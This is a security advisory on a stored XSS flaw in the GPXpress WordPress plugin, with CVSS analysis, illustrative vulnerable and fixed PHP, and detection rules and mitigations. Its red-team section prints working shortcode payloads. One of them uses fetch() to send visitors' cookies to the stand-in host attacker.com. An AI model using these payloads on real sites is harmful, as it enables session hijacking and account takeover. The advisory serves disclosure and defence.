CVE-2025-13960

Executive Summary

CVE-2025-13960 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the GPXpress WordPress plugin, versions up to and including 1.3. The flaw resides in the plugin's gpxpress shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is part of the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). The plugin is developed by Gpxpress. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the plugin vendor and consider removing the plugin if no patch is released. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, once exploited, the stored XSS can affect all users visiting the compromised page, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the gpxpress shortcode, which is used to display GPX data (e.g., GPS tracks) on WordPress pages and posts. The shortcode accepts user-defined attributes (e.g., lat, lon, zoom, map_type). The plugin fails to properly sanitize and escape these attributes before rendering them in the HTML output.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the shortcode handler. This allows an attacker to inject JavaScript code within attribute values.

Attack Flow:

1. An authenticated user with contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts the [gpxpress] shortcode with a malicious attribute, e.g., [gpxpress lat="1" onmouseover="alert('XSS')"].
3. The plugin processes the shortcode and outputs the attribute value without proper escaping.
4. When any user (including admins) views the page, the injected script executes in their browser.

Impact: Stored XSS can lead to:

• Session cookie theft (if HttpOnly flag is not set).
• Redirection to malicious sites.
• Defacement of the WordPress site.
• Privilege escalation if an admin's session is hijacked.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the shortcode handler. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

function gpxpress_shortcode($atts) {
    $lat = $atts['lat'];
    return '<div data-lat="' . $lat . '">...</div>';
}

Patched Code (Hypothetical):

function gpxpress_shortcode($atts) {
    $lat = esc_attr($atts['lat']);
    return '<div data-lat="' . $lat . '">...</div>';
}

The patched version uses esc_attr() to escape attribute values, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with GPXpress plugin version <= 1.3.
• User account with contributor-level access or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [gpxpress lat="1" onmouseover="alert(document.cookie)"]
   

4. Publish or save the post.
5. When any user visits the post, moving the mouse over the map area triggers the XSS.

Advanced Payload:

[gpxpress lat="1" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus]

Blue Team

Detection:

• Monitor for posts/pages containing the [gpxpress] shortcode with unusual attributes (e.g., onmouseover, onfocus, onload).
• Review user activity logs for suspicious shortcode usage by contributors.

Prevention:

• Disable the GPXpress plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block shortcodes containing event handlers.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gpxpress/ (presence of the plugin)
• Shortcode pattern: [gpxpress ... on*="..."] where on* is an event handler.
• HTTP Request: POST to /wp-admin/post.php with post_content containing malicious shortcode.
• Log entry: WordPress audit logs showing creation/editing of posts with gpxpress shortcode by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_13960_GPXpress_XSS {
    meta:
        description = "Detects malicious GPXpress shortcode with event handlers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13960"
    strings:
        $shortcode = /\[gpxpress\s+[^\]]*?\s+on\w+\s*=\s*["'][^"']*["']/
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-13960 - GPXpress Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of posts containing malicious GPXpress shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for post creation/update
        PostContent|re: '\[gpxpress\s+[^\]]*?\s+on\w+\s*=\s*["\'][^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13960 GPXpress Stored XSS Attempt"; flow:to_server,established; content:"[gpxpress"; http_client_body; pcre:"/\[gpxpress\s+[^\]]*?\s+on\w+\s*=\s*["\'][^"\']*["\']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and uninstall GPXpress until a patched version is released.
2. Audit existing content: Scan all posts and pages for malicious shortcode usage.
3. Review user roles: Ensure only trusted users have contributor-level access or higher.

Long-term Fix:

• The vendor must release a patched version that properly sanitizes and escapes shortcode attributes using WordPress functions like esc_attr() and wp_kses().
• Users should update to the latest version once available.

Workaround:

• Implement a custom filter to strip event handlers from shortcode attributes:

add_shortcode('gpxpress', function($atts) {
    foreach ($atts as $key => $value) {
        if (preg_match('/^on/i', $key)) {
            unset($atts[$key]);
        }
    }
    // Original shortcode logic here
});

Valters IT
Securing Digital Frontiers